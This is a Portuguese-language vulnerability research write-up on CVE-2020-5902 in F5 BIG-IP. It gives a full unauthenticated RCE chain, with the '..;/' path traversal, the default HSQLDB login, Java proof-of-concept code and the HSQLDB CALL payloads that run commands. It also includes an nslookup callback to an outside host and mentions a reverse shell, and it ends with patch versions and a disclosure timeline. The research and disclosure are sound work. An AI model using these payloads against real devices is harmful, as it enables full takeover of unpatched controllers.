Análise: como encontramos uma vulnerabilidade RCE no F5 Big-IP Application Delivery Controller





O BIG-IP da F5 é um controlador de entrega de aplicativos popular usado pelas maiores empresas do mundo. Durante a análise de segurança deste produto, fomos capazes de encontrar a vulnerabilidade perigosa CVE-2020-5902. Essa falha de segurança pode permitir que um invasor execute comandos em nome de um usuário não autorizado e comprometa completamente o sistema, como interceptar o tráfego de recursos da Web controlados pelo controlador.



Pelos nossos dados, em junho de 2020, era possível obter acesso pela Internet a 8 mil dispositivos com a vulnerabilidade CVE-2020-5902. Sua análise detalhada está em nosso novo artigo.



Qual é o problema



O BIG-IP da F5 é um controlador de entrega de aplicativos popular usado pelas maiores empresas do mundo. A vulnerabilidade CVE-2020-5902 foi classificada como 10 na escala CVSS, que é o nível de gravidade mais alto.



A vulnerabilidade pode permitir que um invasor remoto, incluindo um invasor não autenticado com acesso ao utilitário de configuração BIG-IP, execute código arbitrário no software (execução remota de código, RCE). Como resultado, um invasor será capaz de criar ou excluir arquivos, desativar serviços, interceptar informações, executar comandos arbitrários do sistema e código Java arbitrário, comprometer completamente o sistema e desenvolver um ataque, por exemplo, em um segmento interno da rede.



Uma combinação de falhas de segurança em vários componentes do sistema (por exemplo, diretório fora dos limites) resulta no RCE. Sociedades nas quais a interface web F5 BIG-IP pode ser encontrado nos motores de busca especiais, como Shodan, estão particularmente em risco, mas deve-se notar que a interface necessária não é acessível a partir da rede global por todas as empresas do usuário.



Durante o monitoramento de ameaças reais (ameaça inteligência), constatamos que, no final de junho de 2020, havia mais de 8 mil dispositivos vulneráveis ​​disponíveis na Internet no mundo, dos quais 40% estavam nos EUA, 16% na China, 3% em Taiwan, 2,5% cada. no Canadá e na Indonésia. Menos de 1% dos dispositivos vulneráveis ​​foram detectados na Rússia.



Agora vamos passar para a história de como conseguimos encontrar o CVE-2020-5902.



Procurando erros de configuração do servidor web



Vamos instalar o F5 Big-IP em nossa máquina virtual e obter acesso ao seu shell de comando:







Interface de linha de comando F5 Big-IP



A primeira coisa a fazer para iniciar a pesquisa é verificar todas as portas abertas e quais aplicativos as estão usando. Isso identificará todos os pontos de entrada possíveis para o sistema. Para fazer isso, usamos o comando netstat:







Localizando portas abertas no dispositivo



que adoro analisar aplicativos da web, então vamos começar a analisar a configuração do servidor httpd escutando na porta 443 / tcp.



O arquivo mais interessante de sua configuração é "/etc/httpd/conf.d/proxy_ajp.conf":



LoadModule proxy_ajp_module modules/mod_proxy_ajp.so

#
# When loaded, the mod_proxy_ajp module adds support for
# proxying to an AJP/1.3 backend server (such as Tomcat).
# To proxy to an AJP backend, use the "ajp://" URI scheme;
# Tomcat is configured to listen on port 8009 for AJP requests
# by default.
#

#
# Uncomment the following lines to serve the ROOT webapp
# under the /tomcat/ location, and the jsp-examples webapp
# under the /examples/ location.
#
#ProxyPass /tomcat/ ajp://localhost:8009/
#ProxyPass /examples/ ajp://localhost:8009/jsp-examples/

ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5

<IfDefine LunaUI>
ProxyPassMatch ^/lunaui/(.*\.jsf.*)$ ajp://localhost:8009/lunaui/$1
ProxyPassMatch ^/lunaui/primefaces_resource/(.*)$ ajp://localhost:8009/lunaui/primefaces_resource/$1
ProxyPassMatch ^/lunaui/em_resource/(.*)$ ajp://localhost:8009/lunaui/em_resource/$1
</IfDefine>

<IfDefine WebAccelerator>
ProxyPassMatch ^/waui/(.*)$ ajp://localhost:8009/waui/$1 retry=5
</IfDefine>


Conteúdo do arquivo /etc/httpd/conf.d/proxy_ajp.conf



Este arquivo configura o Apache para que ele transfira solicitações para Apache Tomcat na porta local 8009 / tcp através do protocolo AJP, mas somente se essas solicitações corresponderem a um das expressões regulares fornecidas.







Encontrando um aplicativo de escuta na porta 8009 / tcp



É importante aqui consultar a pesquisa de Orange Tsai sobre como fazer servidores encadeados tratarem URLs de maneira diferente. Em particular, para nosso pacote de Apache HTTP Server e Apache Tomcat, podemos testar a sequência de caracteres “..; /”:







slide de apresentação de Orange Tsai



De acordo com este estudo, o servidor Apache HTTP analisará a sequência como um nome de pasta válido, enquanto o Apache Tomcat pensará que essa combinação indica uma transição para o diretório anterior.



Para entender se esse método funcionará, você precisa obter o caminho para um dos endpoints ocultos do Tomcat no arquivo de configuração:




<servlet-mapping>
        <servlet-name>org.apache.jsp.tiles.tmui.em_005ffilter_jsp</servlet-name>
        <url-pattern>/tiles/tmui/em_filter.jsp</url-pattern>
 </servlet-mapping>


Um fragmento do arquivo de configuração /usr/local/www/tmui/WEB-INF/web.xml



O caminho /tiles/tmui/em_filter.jsp não deve corresponder às expressões regulares no arquivo proxy_ajp.conf, então vamos testar:







Testando a técnica Orange Tsai



Solicitação normal retorna um código 404, e uma solicitação usando a técnica Orange Tsai retorna um código 200. Portanto, agora podemos acessar qualquer página no servidor Apache Tomcat interno do dispositivo sob investigação.



Encontre endpoints Tomcat vulneráveis



Vamos examinar a configuração do servidor Apache Tomcat e tentar encontrar pontos de extremidade vulneráveis ​​nele.



Usamos o caminho /tiles/tmui/em_filter.jsp anteriormente, mas agora vamos tentar encontrar algo mais útil:


    <servlet>
        <servlet-name>hsqldb</servlet-name>
        <servlet-class>org.hsqldb.Servlet</servlet-class>
        <load-on-startup>3</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>hsqldb</servlet-name>
        <url-pattern>/hsqldb/*</url-pattern>
    </servlet-mapping>


Fragmento do arquivo /usr/local/www/tmui/WEB-INF/web.xml



Minha atenção foi atraída para o caminho “/ hsqldb /”, que é gerenciado pela classe org.hsqldb.Servlet. A sigla HSQLDB significa Banco de Dados Hyper SQL e seu caminho / hsqldb / é responsável por fornecer acesso ao próprio banco de dados.



Vamos







verificar se nossa técnica pode ser utilizada para acessar este caminho: Verificando a disponibilidade do HSQLDB



Assim, conseguimos contornar a autorização e obter acesso ao HSQLDB. O site oficial do HSQLDB tem um guia sobre como se conectar ao banco de dados via HTTP e diz que você pode usar um driver Java especial para se conectar ao banco de dados via HTTP. E para se conectar, você precisa saber o login e a senha do banco de dados.



Vamos usar a 'técnica de ouro' chamada "Pesquisa Google" e encontrar os nomes de usuário e senhas padrão para HSQLDB: o







Google mostra o nome de usuário e a senha padrão diretamente na página de pesquisa.



Agora vamos escrever uma prova de conceito em Java para testar nossa suposição de que o driver HSQLDB pode trabalhar com os seguintes dados de login padrão:



package com.company;

import java.sql.*;
import java.lang.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Class.forName("org.hsqldb.jdbcDriver");
        Connection c = DriverManager.getConnection("jdbc:hsqldb:https://10.0.0.1/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
        Statement stmt = null;
        ResultSet result = null;
        stmt = c.createStatement();
        result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");
        while (result.next()) {
            System.out.println("Got result: " + result.getString(1));
        }
        result.close();
        stmt.close();
    }
}


Código PoC para conectar ao HSQLDB e solicitar uma lista de usuários HSQLDB







Resultado da execução do código PoC fornecido



O código foi executado e removeu o primeiro usuário da tabela, o que significa que agora podemos executar consultas SQL arbitrárias sem qualquer autenticação no F5 Big- IP.



Explorando o endpoint HSQLDB



Passei um pouco de tempo na documentação do HSQLDB e me conformei com a instrução CALL - ela pode ser usada para executar procedimentos armazenados, incluindo qualquer método Java estático no classpath HSQLDB.



Vamos obter o classpath do HSQLDB:



Solicitação: CALL "java.lang.System.getProperty" ('java.class.path')

Resposta: "/usr/share/tomcat/bin/bootstrap.jar:/usr/share/tomcat/bin/tomcat-juli. jar: / usr / local / www / tmui / WEB-INF / classes "


Este é exatamente o mesmo classpath do servidor Apache Tomcat.



Agora precisamos encontrar qualquer método estático que permita a execução remota de código. Após uma breve pesquisa no arquivo tmui.jar na classe com.f5.view.web.pagedefinition.shuffler.Scripting, encontrei o método setRequestContext:



public static void setRequestContext(String object, String screen)
{
     PyObject current = getInterpreter().eval(object + "__" + screen + "()");
     currentObject.set(current);
}


Tentando chamar este método com dados arbitrários:



Solicitação: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('aa', 'bb')

Resposta: "NameError: aa__bb",


Vemos que entramos no contexto da execução do código Python e passamos os dados errados.



Tentamos importar o módulo "os" e chamar a função do sistema:



Solicitação: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('__ import __ ("os"). System () #', '# 11')

Resposta: "ImportError: nenhum módulo chamado javaos"


Pesquise o erro no Google e descubra que esse é um comportamento típico da linguagem Jython.



Tentamos executar o comando de uma maneira diferente:



Solicitação: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('Runtime.getRuntime (). Exec ("ls") #', '#')

Responder: null




Obtivemos um valor nulo nessa solicitação, que nos informa sobre a execução bem-sucedida do comando. Agora, vamos reunir o código PoC final que enviará uma solicitação de dns se o servidor estiver vulnerável:



package com.company;

import java.sql.*;
import java.lang.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Class.forName("org.hsqldb.jdbcDriver");
        Connection c = DriverManager.getConnection("jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
        Statement stmt = null;
        ResultSet result = null;
        stmt = c.createStatement();
        result = stmt.executeQuery("CALL \"com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext\"('Runtime.getRuntime().exec(\"nslookup test.dns.samplehost.com\")#','#')");
        while (result.next()) {
            System.out.println("Got result: " + result.getString(1));
        }
        result.close();
        stmt.close();
    }
}


E obteremos RCE em nosso F5 Big-IP usando comandos para shell reverso:







Acessando F5 Big-IP por meio da cadeia de vulnerabilidades descoberta



Resumo



Obtivemos o RCE de um usuário não autorizado em três etapas fáceis:



  1. Encontrado um bug na configuração do servidor Apache HTTP e Apache Tomcat
  2. Usou a senha padrão para HSQLDB
  3. Métodos estáticos não óbvios usados ​​no código da biblioteca F5 Big-IP


Como se proteger



Para corrigir a vulnerabilidade, você deve atualizar o sistema para a versão mais recente: as versões vulneráveis ​​do BIG-IP (11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x) devem ser substituídas pelas versões nas quais a vulnerabilidade foi corrigida ( BIG-IP 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.1.0.4). Para usuários de mercados de nuvem pública (AWS, Azure, GCP e Alibaba), você deve usar o BIG-IP Virtual Edition (VE) 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6 ou 15.1.0.4), desde que estejam disponíveis em esses mercados. Orientações adicionais são fornecidas no F5 BIG-IP Notice .



Autor : Mikhail Klyuchnikov (@ __mn1__ ), Positive Technologies



Linha do tempo:



  • 1 de abril de 2020 - Vulnerabilidade foi enviada para F5 Networks
  • 3 de abril de 2020 - Equipe F5 foi capaz de reproduzir vulnerabilidades
  • 1 July, 2020 — Security Advisory



All Articles